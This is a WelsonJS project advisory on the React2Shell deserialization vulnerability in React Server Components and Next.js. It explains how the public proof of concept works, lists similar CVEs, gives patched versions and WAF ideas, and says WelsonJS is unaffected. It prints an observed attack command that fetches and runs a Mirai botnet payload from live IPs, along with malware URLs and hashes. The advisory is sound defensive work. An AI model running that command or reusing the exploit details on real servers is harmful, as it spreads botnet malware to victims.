Security: React2Shell
React2Shell and Catswords OSS / WelsonJS
What is the React2Shell vulnerability?
When an application processes externally received data that is structurally written according to a specific specification, it is impossible to completely rule out the possibility that an attacker may embed executable malicious code into that data if they have malicious intent.
To prevent this from becoming a security weakness, such attacker intent must be blocked. However, the React2Shell (CVE-2025-55182) vulnerability is a case where a method was discovered that fails to block such intent and instead allows execution without meaningful restrictions.
The process of handling structurally defined data according to a specific specification is referred to as “deserialization.”
The specification may be a well-known format such as JSON, XML, or YAML, a custom format, or a hybrid format. The React2Shell vulnerability uses a hybrid format (JSON + a.k.a. Flight).
This vulnerability was possible because the custom format (a.k.a. Flight) had the accessibility required to arbitrarily alter the nature of JavaScript-defined objects, specifically by accessing constructor-level properties that exist in the prototype concept (such as __proto__ and constructor), allowing the object’s behavior to be changed at will.
Why is deserialization dangerous?
In practice, deserialization becomes dangerous for the following reasons.
1. Data exchange formats are not strict about types
To prioritize smooth data exchange, these formats are not designed to be strictly type-safe. This can become a clue that enables various escape attempts based on type confusion.
2. Specific words or symbols act as triggers for specific actions
Certain words or symbols can trigger specific operations, but validation of such triggers is often insufficient. This can open a path that allows privilege escalation and command execution beyond the intended application scope. In practice, this is the most common type of issue.
3. Undiscovered reserved words may exist
Although less common, there may be implementations in certain languages, frameworks, libraries, or firmware dependencies that handle reserved words (tokens or symbols) that have not been clearly identified in advance. Such behavior may surface only when specific conditions are met.
Because the deserialization process carries many similar potential risks, multiple protective mechanisms must be implemented to properly secure it.
Known deserialization vulnerability cases (by language and ecosystem)
To quickly understand the nature of deserialization vulnerabilities, it is helpful to look at representative cases and their common characteristics.
Java
- CVE-2021-44228 (Log4Shell)
- CVE-2017-9805 (Apache Struts2 REST)
- CVE-2020-8840 (jackson-databind)
Common trait: External input flows into object creation or deserialization paths (JNDI, XML/JSON binding), resulting in RCE via gadget chains or remote class loading.
.NET (C# / VB.NET)
- CVE-2019-18935 (Telerik UI)
- CVE-2025-53690 (Sitecore ViewState)
- CVE-2020-25258 (Hyland OnBase)
Common trait:
Legacy deserialization formats such as BinaryFormatter or ViewState are trusted, allowing arbitrary type loading and code execution.
Python
- CVE-2017-18342 (PyYAML unsafe load)
- CVE-2024-9701 (Kedro ShelveStore)
- CVE-2024-5998 (LangChain FAISS)
Common trait:
Use of pickle or unsafe YAML loaders causes deserialization itself to act as an execution trigger.
PHP (WordPress ecosystem)
- CVE-2023-6933 (Better Search Replace)
- CVE-2025-0724 (ProfileGrid)
- CVE-2024-5488 (SEOPress)
Common trait:
User input is passed to unserialize() or maybe_unserialize(), leading to PHP Object Injection (POP chains).
Ruby
- CVE-2013-0156 (Rails YAML.load)
- CVE-2020-10663 (RubyGems Marshal)
Common trait:
Use of YAML.load or Marshal.load allows arbitrary object creation and code execution.
JavaScript / Node.js
- CVE-2025-55182 (React2Shell)
- CVE-2020-7660 (serialize-javascript)
Common trait: Structure restoration and object reconstruction logic interprets untrusted input as executable code or objects.
Go
- CVE-2022-28948 (go-yaml Unmarshal)
- CVE-2020-16845 (HashiCorp Consul)
Common trait: Insufficient validation during the Unmarshal phase leads to logic corruption or DoS based on structure reconstruction.
Rust
- GHSA-w428-f65r-h4q2 (serde_yaml / unsafe deserialization, CVE-2021-45687)
Common trait: Despite memory safety, untrusted data restored into internal types via serde can lead to logic pollution, DoS, and potential code execution risks.
Kotlin / Android
- CVE-2024-43080 (Android)
- CVE-2024-10382 (Android Car)
Common trait: Insufficient type and validation checks during Intent/Bundle/IPC deserialization lead to privilege escalation or DoS.
C / C++
- CVE-2024-8375 (Google Reverb, related to gRPC and protobuf)
Common trait: Insufficient integrity checks during unpacking allow datatype (VARIANT) or vtable pointer corruption.
Swift / iOS
- CVE-2021-32742 (Vapor)
Common trait: Trust boundary collapse during decoding and object restoration leads to DoS or information disclosure.
Industrial (ICS / OT)
- CVE-2024-12703 (Schneider Electric)
- CVE-2023-27978 (Schneider Electric)
- CVE-2025-2566 (Kaleris Navis N4)
- CVE-2023-32737 (Siemens SIMATIC)
Common trait: Project files or management server input are assumed to be trusted internal data during deserialization, enabling RCE and potential physical system impact.
Deserialization vulnerabilities appear across languages and environments, and discovered cases typically receive very high CVSS 3.x scores (8.0–10.0).
Reading attack characteristics without prior knowledge
Now that the common characteristics of deserialization vulnerabilities have been explained, it becomes possible to infer the attack characteristics shown in the React2Shell proof-of-concept (PoC) even without prior internal knowledge of the target system (RSC).
Below are the main PoC examples written in JavaScript and Python.
- https://github.com/lachlan2k/React2Shell-CVE-2025-55182-original-poc/blob/main/01-submitted-poc.js
- https://github.com/msanft/CVE-2025-55182/blob/main/poc.py
From these examples, the following insights can be derived:
-
Patterns such as colon-separated strings, appearing alongside well-known formats like JSON, are often referred to as micro-operations or opcodes, indicating an intent to transform a non-executable format into a minimally executable one. If integrity is not carefully enforced during implementation, this becomes strong foreshadowing of deserialization vulnerabilities.
-
Access to constructor-level keywords (
__proto__,constructor) indicates the ability to manipulate prototypes, commonly referred to as JavaScript prototype pollution. -
The presence of the
thenkeyword indicates an intent to attach to (or create) a Promise object within the target. -
Since the payload’s
valuefield is a JSON string that has not yet been parsed, it can be inferred thatJSON.parseis invoked internally by the target. -
Injection of
_response._prefix, which appears to be attack code, must occur as close as possible to thethenkeyword to allow the Promise object to trigger the malicious code. -
Ultimately, during JSON deserialization, the expression that satisfies all required conditions—having a
thenproperty and accepting attack code—is{"then": "$Bx"}. This implies insufficient validation during (or after) the handling of$Bx. -
The
Next-Actionheader included in the attack procedure likely toggles or triggers the functionality that caused this vulnerability. If an attacker knows a valid action key, they can request its execution and thereby execute the attack code.
What do attackers do with this vulnerability?
According to reports submitted to Catswords OSS, servers exposed to React2Shell receive commands such as the following. This log was found on a React server set up by a community member for learning purposes.
(busybox wget -q http://193.34.213.150/nuts/bolts -O-|sh; \
cd /dev; \
busybox wget http://31.56.27.76/n2/x86; \
chmod 777 x86; \
./x86 reactOnMynuts)This file belongs to a family of malware commonly referred to as the Mirai botnet. Servers vulnerable to React2Shell end up having such malware injected.
Related IoCs
- MD5: 3ba4d5e0cf0557f03ee5a97a2de56511
- SHA256: 858874057e3df990ccd7958a38936545938630410bde0c0c4b116f92733b1ddb
- URL: http://193.34.213.150/nuts/bolts
- URL: http://31.56.27.76/n2/x86
Because a general-purpose botnet is installed, the compromised server is effectively abused for DDoS attacks and other malicious purposes.
Additional analysis is available at the links below:
- https://www.mbsd.jp/research/20251211/react2shell/
- https://www.bitdefender.com/en-us/blog/labs/cve-2025-55182-exploitation-hits-the-smart-home
How can this attack be mitigated?
1. Fix by updating versions
If you are running a server that uses Next.js, you must update to a version where the vulnerability is fixed. Vercel, the developer of Next.js, provides the following guidance:
| Vulnerable Version | Patched Release |
|---|---|
| Next.js 15.0.x | 15.0.5 |
| Next.js 15.1.x | 15.1.9 |
| Next.js 15.2.x | 15.2.6 |
| Next.js 15.3.x | 15.3.6 |
| Next.js 15.4.x | 15.4.8 |
| Next.js 15.5.x | 15.5.7 |
| Next.js 16.0.x | 16.0.10 |
| Next.js 14 canaries after 14.3.0-canary.76 | Downgrade to 14.3.0-canary.76 (not vulnerable) |
| Next.js 15 canaries before 15.6.0-canary.58 | 15.6.0-canary.58 |
| Next.js 16 canaries before 16.1.0-canary.12 | 16.1.0-canary.12 and later |
If upgrading is difficult, using the official patch tool provided by Vercel is also a viable option:
https://github.com/vercel-labs/fix-react2shell-next
2. Mitigation via firewall (WAF) rule improvements
It is uncommon for the following three elements to appear simultaneously in a single request:
Next-Actionheader- System OS commands
- JavaScript Array or Object-related methods
Based on this observation, it may be possible to design blocking rules to mitigate exploitation.
Conclusion
WelsonJS is not affected by React2Shell.
This article was written in response to inquiries about whether WelsonJS Editor, which is bundled with WelsonJS and is built on React, might be affected by React2Shell.
The server-side components potentially affected by this vulnerability use .NET (C#), and the JavaScript engine is not Node.js but a separate engine (ChakraCore). React is used only on the client side.
Even client-side React usage is currently very conservative, relying on prebuilt UMD libraries, and is enabled only upon user request.
If you require further confirmation or have additional questions, please feel free to leave an issue on GitHub at any time.
https://github.com/gnh1201/welsonjs
Thank you.
Updated 4 months ago